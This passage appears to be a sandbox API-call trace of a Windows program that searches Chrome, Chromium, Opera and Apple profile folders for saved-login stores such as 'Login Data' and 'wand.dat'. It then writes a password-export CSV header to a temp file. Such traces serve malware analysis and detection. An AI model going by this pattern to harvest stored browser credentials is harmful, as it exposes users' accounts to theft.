_Source="SSLErrorAssistant" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0070.666] wcscmp (_String1="SSLErrorAssistant", _String2="..") returned 1 [0070.666] wcscmp (_String1="SSLErrorAssistant", _String2=".") returned 1 [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x49 [0070.666] wcslen (_String="Web Data") returned 0x8 [0070.666] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x49 [0070.666] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\" [0070.666] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data" [0070.666] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\web data")) returned 0xffffffff [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x49 [0070.666] wcslen (_String="Login Data") returned 0xa [0070.666] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x49 [0070.666] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\" [0070.666] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data" [0070.666] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\login data")) returned 0xffffffff [0070.666] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.666] wcslen (_String="SwReporter") returned 0xa [0070.666] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.666] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.666] wcscat (in: _Dest=0x28b5f4, _Source="SwReporter" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0070.666] wcscmp (_String1="SwReporter", _String2="..") returned 1 [0070.666] wcscmp (_String1="SwReporter", _String2=".") returned 1 [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x42 [0070.666] wcslen (_String="Web Data") returned 0x8 [0070.666] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x42 [0070.666] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\" [0070.666] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data" [0070.666] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\swreporter\\web data")) returned 0xffffffff [0070.666] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x42 [0070.666] wcslen (_String="Login Data") returned 0xa [0070.667] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x42 [0070.667] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\" [0070.667] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data" [0070.667] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\swreporter\\login data")) returned 0xffffffff [0070.667] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 1 [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.667] wcslen (_String="WidevineCdm") returned 0xb [0070.667] wcscpy (in: _Dest=0x28b5f4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37 [0070.667] wcscat (in: _Dest=0x28b5f4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\" [0070.667] wcscat (in: _Dest=0x28b5f4, _Source="WidevineCdm" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0070.667] wcscmp (_String1="WidevineCdm", _String2="..") returned 1 [0070.667] wcscmp (_String1="WidevineCdm", _String2=".") returned 1 [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x43 [0070.667] wcslen (_String="Web Data") returned 0x8 [0070.667] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x43 [0070.667] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\" [0070.667] wcscat (in: _Dest=0x28aef0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data" [0070.667] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\web data")) returned 0xffffffff [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x43 [0070.667] wcslen (_String="Login Data") returned 0xa [0070.667] wcscpy (in: _Dest=0x28aef0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x43 [0070.667] wcscat (in: _Dest=0x28aef0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\" [0070.667] wcscat (in: _Dest=0x28aef0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data" [0070.667] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\login data")) returned 0xffffffff [0070.667] FindNextFileW (in: hFindFile=0x8a3a18, lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 0 [0070.667] FindClose (in: hFindFile=0x8a3a18 | out: hFindFile=0x8a3a18) returned 1 [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.667] wcslen (_String="Google\\Chrome SxS\\User Data") returned 0x1b [0070.667] wcscpy (in: _Dest=0x28cb48, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.667] wcscat (in: _Dest=0x28cb48, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\" [0070.667] wcscat (in: _Dest=0x28cb48, _Source="Google\\Chrome SxS\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data" [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned 0x3b [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned 0x3b [0070.667] wcslen (_String="*.*") returned 0x3 [0070.667] wcscpy (in: _Dest=0x28b11c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data" [0070.667] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned 0x3b [0070.668] wcscat (in: _Dest=0x28b11c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\" [0070.668] wcscat (in: _Dest=0x28b11c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\*.*" [0070.668] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\*.*", lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 0xffffffff [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.668] wcslen (_String="Chromium\\User Data") returned 0x12 [0070.668] wcscpy (in: _Dest=0x28cb48, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.668] wcscat (in: _Dest=0x28cb48, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\" [0070.668] wcscat (in: _Dest=0x28cb48, _Source="Chromium\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data" [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data") returned 0x32 [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data") returned 0x32 [0070.668] wcslen (_String="*.*") returned 0x3 [0070.668] wcscpy (in: _Dest=0x28b11c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data" [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data") returned 0x32 [0070.668] wcscat (in: _Dest=0x28b11c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\" [0070.668] wcscat (in: _Dest=0x28b11c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\*.*" [0070.668] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\*.*", lpFindFileData=0x28b3a4 | out: lpFindFileData=0x28b3a4) returned 0xffffffff [0070.668] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28b904, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1 [0070.668] wcslen (_String="Apple Computer\\Preferences\\keychain.plist") returned 0x29 [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.668] wcscpy (in: _Dest=0x28c938, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming" [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.668] wcscat (in: _Dest=0x28c938, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0070.668] wcscat (in: _Dest=0x28c938, _Source="Apple Computer\\Preferences\\keychain.plist" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Apple Computer\\Preferences\\keychain.plist") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Apple Computer\\Preferences\\keychain.plist" [0070.668] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Apple Computer\\Preferences\\keychain.plist" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\apple computer\\preferences\\keychain.plist")) returned 0xffffffff [0070.668] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28cd58, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1 [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.668] wcslen (_String="Opera\\Opera\\wand.dat") returned 0x14 [0070.668] wcscpy (in: _Dest=0x28cb48, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming" [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.668] wcscat (in: _Dest=0x28cb48, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0070.668] wcscat (in: _Dest=0x28cb48, _Source="Opera\\Opera\\wand.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera\\wand.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera\\wand.dat" [0070.668] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera\\wand.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera\\opera\\wand.dat")) returned 0xffffffff [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.668] wcslen (_String="Opera\\Opera7\\profile\\wand.dat") returned 0x1d [0070.668] wcscpy (in: _Dest=0x28cb48, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming" [0070.668] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.668] wcscat (in: _Dest=0x28cb48, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0070.668] wcscat (in: _Dest=0x28cb48, _Source="Opera\\Opera7\\profile\\wand.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera7\\profile\\wand.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera7\\profile\\wand.dat" [0070.668] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera7\\profile\\wand.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera\\opera7\\profile\\wand.dat")) returned 0xffffffff [0070.669] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.669] wcslen (_String="Opera") returned 0x5 [0070.669] wcscpy (in: _Dest=0x28c728, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming" [0070.669] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.669] wcscat (in: _Dest=0x28c728, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0070.669] wcscat (in: _Dest=0x28c728, _Source="Opera" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera" [0070.669] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned 0x27 [0070.669] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned 0x27 [0070.669] wcslen (_String="*.*") returned 0x3 [0070.669] wcscpy (in: _Dest=0x28bb2c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera" [0070.669] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned 0x27 [0070.669] wcscat (in: _Dest=0x28bb2c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\" [0070.669] wcscat (in: _Dest=0x28bb2c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\*.*" [0070.669] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\*.*", lpFindFileData=0x28bdb4 | out: lpFindFileData=0x28bdb4) returned 0xffffffff [0070.669] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.669] wcslen (_String="Opera Software\\Opera Stable\\Login Data") returned 0x26 [0070.669] wcscpy (in: _Dest=0x28c938, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming" [0070.669] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.669] wcscat (in: _Dest=0x28c938, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0070.669] wcscat (in: _Dest=0x28c938, _Source="Opera Software\\Opera Stable\\Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" [0070.669] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera software\\opera stable\\login data")) returned 0xffffffff [0070.669] FreeLibrary (hLibModule=0x740e0000) returned 1 [0070.669] FreeLibrary (hLibModule=0x756e0000) returned 1 [0070.670] _wcsicmp (_String1="/nosort", _String2="/scomma") returned -5 [0070.670] _wcsicmp (_String1="/nosort", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0070.670] qsort (in: _Base=0x0, _NumOfElements=0x0, _SizeOfElements=0x1028, _PtFuncCompare=0x40dbe1 | out: _Base=0x0) [0070.670] SetCursor (hCursor=0x10007) returned 0x10007 [0070.670] CreateFileW (lpFileName="C:\\ProgramData\\FB70.tmp" (normalized: "c:\\programdata\\fb70.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x104 [0070.670] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0070.671] SetCursor (hCursor=0x10007) returned 0x10007 [0070.671] strlen (_Str="URL") returned 0x3 [0070.671] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x3, lpOverlapped=0x0) returned 1 [0070.671] strlen (_Str=",") returned 0x1 [0070.671] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x1, lpOverlapped=0x0) returned 1 [0070.671] strlen (_Str="Web Browser") returned 0xb [0070.671] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0xb, lpOverlapped=0x0) returned 1 [0070.671] strlen (_Str=",") returned 0x1 [0070.671] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x1, lpOverlapped=0x0) returned 1 [0070.671] strlen (_Str="User Name") returned 0x9 [0070.671] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x9, lpOverlapped=0x0) returned 1 [0070.672] strlen (_Str=",") returned 0x1 [0070.672] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x1, lpOverlapped=0x0) returned 1 [0070.672] strlen (_Str="Password") returned 0x8 [0070.672] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x8, lpOverlapped=0x0) returned 1 [0070.672] strlen (_Str=",") returned 0x1 [0070.672] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x1, lpOverlapped=0x0) returned 1 [0070.672] strlen (_Str="Password Strength") returned 0x11 [0070.672] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x11, lpOverlapped=0x0) returned 1 [0070.672] strlen (_Str=",") returned 0x1 [0070.672] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x1, lpOverlapped=0x0) returned 1 [0070.672] 